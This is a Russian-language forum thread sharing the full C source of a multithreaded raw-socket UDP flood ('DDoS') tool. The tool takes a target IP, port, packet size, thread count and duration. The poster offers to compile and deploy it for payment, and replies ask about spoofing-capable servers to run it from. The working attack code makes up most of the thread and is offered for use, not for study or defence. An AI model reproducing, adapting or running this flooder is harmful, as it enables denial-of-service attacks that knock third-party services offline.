Загрузка...

UDP DDos script.

Thread in C/C++ created by MuzMan723 Apr 1, 2018. 914 views

  1. MuzMan723
    MuzMan723 Topic starter Apr 1, 2018 Banned 1 Mar 27, 2018
    Code
    #include <time.h>
    #include <arpa/inet.h>
    #include <ifaddrs.h>
    #include <netdb.h>
    #include <pthread.h>
    #include <unistd.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/socket.h>
    #include <netinet/ip.h>
    #include <netinet/udp.h>

    #define MAX_PACKET_SIZE 4096
    #define PHI 0x9e3779b9

    static uint32_t Q[4096], c = 362436;

    struct thread_data{
    int pks;
    int throttle;
    int thread_id;
    unsigned int floodport;
    struct sockaddr_in sin;
    };

    void init_rand(uint32_t x)
    {
    int i;

    Q[0] = x;
    Q[1] = x + PHI;
    Q[2] = x + PHI + PHI;

    for (i = 3; i < 4096; i++)
    Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
    }

    uint32_t rand_cmwc(void)
    {
    uint64_t t, a = 18782LL;
    static uint32_t i = 4095;
    uint32_t x, r = 0xfffffffe;
    i = (i + 1) & 4095;
    t = a * Q[i] + c;
    c = (t >> 32);
    x = t + c;
    if (x < c) {
    x++;
    c++;
    }
    return (Q[i] = r - x);
    }

    char *myStrCat (char *s, char *a) {
    while (*s != '\0') s++;
    while (*a != '\0') *s++ = *a++;
    *s = '\0';
    return s;
    }

    char *replStr (char *str, size_t count) {
    if (count == 0) return NULL;
    char *ret = malloc (strlen (str) * count + count);
    if (ret == NULL) return NULL;
    *ret = '\0';
    char *tmp = myStrCat (ret, str);
    while (--count > 0) {
    tmp = myStrCat (tmp, str);
    }
    return ret;
    }


    /* function for header checksums */
    unsigned short csum (unsigned short *buf, int nwords)
    {
    unsigned long sum;
    for (sum = 0; nwords > 0; nwords--)
    sum += *buf++;
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    return (unsigned short)(~sum);
    }
    void setup_ip_header(struct iphdr *iph)
    {
    struct ifaddrs *ifaddr, *ifa;
    int family, s;
    char host[NI_MAXHOST];

    if (getifaddrs(&ifaddr) == -1) {
    perror("getifaddrs");
    exit(EXIT_FAILURE);
    }

    /* Walk through linked list, maintaining head pointer so we
    can free list later */

    for (ifa = ifaddr; ifa != NULL; ifa = ifa->ifa_next) {
    if (ifa->ifa_addr == NULL)
    continue;

    family = ifa->ifa_addr->sa_family;

    if (family == AF_INET) {
    s = getnameinfo(ifa->ifa_addr,sizeof(struct sockaddr_in),
    host, NI_MAXHOST, NULL, 0, NI_NUMERICHOST);
    if (s != 0) {
    printf("getnameinfo() failed: %s\n", gai_strerror(s));
    exit(EXIT_FAILURE);
    }
    if(strcmp(host, "127.0.0.1") != 0){
    break;
    }
    }
    }
    freeifaddrs(ifaddr);
    iph->ihl = 5;
    iph->version = 4;
    iph->tos = 0;
    iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr);
    iph->id = htonl(54321);
    iph->frag_off = 0;
    iph->ttl = MAXTTL;
    iph->protocol = IPPROTO_UDP;
    iph->check = 0;

    // Initial IP, changed later in infinite loop
    iph->saddr = inet_addr(host);
    }

    void setup_udp_header(struct udphdr *udph)
    {
    udph->source = htons(5678);
    udph->check = 0;
    }

    void *flood(void *par1)
    {
    struct thread_data *td = (struct thread_data *)par1;
    fprintf(stdout, "Thread %d started\n", td->thread_id);
    char datagram[MAX_PACKET_SIZE];
    struct iphdr *iph = (struct iphdr *)datagram;
    struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
    struct sockaddr_in sin = td->sin;
    char new_ip[sizeof "255.255.255.255"];

    int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
    if(s < 0){
    fprintf(stderr, "Could not open raw socket.\n");
    exit(-1);
    }

    unsigned int floodport = td->floodport;

    // Clear the data
    memset(datagram, 0, MAX_PACKET_SIZE);

    // Set appropriate fields in headers
    setup_ip_header(iph);
    setup_udp_header(udph);

    char *data = (char *)udph + sizeof(struct udphdr);
    data = replStr("\xFF", td->pks);
    udph->len=htons(td->pks);

    iph->tot_len += td->pks;

    udph->dest = htons(floodport);

    iph->daddr = sin.sin_addr.s_addr;
    iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);

    int tmp = 1;
    const int *val = &tmp;
    if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
    fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
    exit(-1);
    }

    int throttle = td->throttle;

    uint32_t random_num;
    uint32_t ul_dst;
    init_rand(time(NULL));
    if(throttle == 0){
    while(1){
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
    random_num = rand_cmwc();
    udph->source = htons(random_num & 0xFFFF);
    iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
    }
    } else {
    while(1){
    throttle = td->throttle;
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
    random_num = rand_cmwc();
    udph->source = htons(random_num & 0xFFFF);
    iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);

    while(--throttle);
    }
    }
    }
    int main(int argc, char *argv[ ])
    {
    if(argc < 6){
    fprintf(stderr, "Invalid parameters!\n");
    fprintf(stdout, "Usage: %s <target IP> <target Port> <throttle> <packet size> <number threads to use> <time>\n", argv[0]);
    exit(-1);
    }

    fprintf(stdout, "Setting up Sockets...\n");

    int num_threads = atoi(argv[5]);
    int packet_size = atoi(argv[4]);
    unsigned int floodport = atoi(argv[2]);
    pthread_t thread[num_threads];
    struct sockaddr_in sin;

    sin.sin_family = AF_INET;
    sin.sin_port = htons(floodport);
    sin.sin_addr.s_addr = inet_addr(argv[1]);

    struct thread_data td[num_threads];

    int i;
    for(i = 0;i<num_threads;i++){
    td[i].thread_id = i;
    td[i].pks = packet_size;
    td[i].sin = sin;
    td[i].floodport = floodport;
    td[i].throttle = atoi(argv[3]);
    pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
    }
    fprintf(stdout, "Starting Flood...\n");
    if(argc > 6)
    {
    sleep(atoi(argv[6]));
    } else {
    while(1){
    sleep(1);
    }
    }

    return 0;
    }
    Используйте <ip> <port> <size> <time>
    Кто не знает или не может скомпилировать и поставить.Могу помочь за кеш.
     
  2. MuzMan723
    MuzMan723 Topic starter Apr 1, 2018 Banned 1 Mar 27, 2018
    Компилируйте сами
     
  3. cybernark
    cybernark Apr 1, 2018 55 Dec 19, 2017
    если будет робить (закампилю) то с меня симпа
     
  4. L1net_inactive98796
    L1net_inactive98796 Apr 1, 2018 Banned 240 Mar 29, 2017

    и ддось чужой ip пять лет
     
  5. ls5str
    ls5str Apr 1, 2018 Banned 67 Oct 10, 2017
    если будет робить, кинь сюды плес
     
  6. MuzMan723
    MuzMan723 Topic starter Apr 1, 2018 Banned 1 Mar 27, 2018
    Та всё норм.Он только по открытому порту бьёт.И то на троечку.
    Я юзаю годенай.С него много чего падает
     
  7. Kaxa12_inactive279626
    Где дедик со спуфом взять под скрипт
     
  8. MuzMan723
    MuzMan723 Topic starter Apr 1, 2018 Banned 1 Mar 27, 2018
    С этим не обязательно спуф.
     
  9. cybernark
    cybernark Apr 1, 2018 55 Dec 19, 2017
    хз
     
Loading...
Top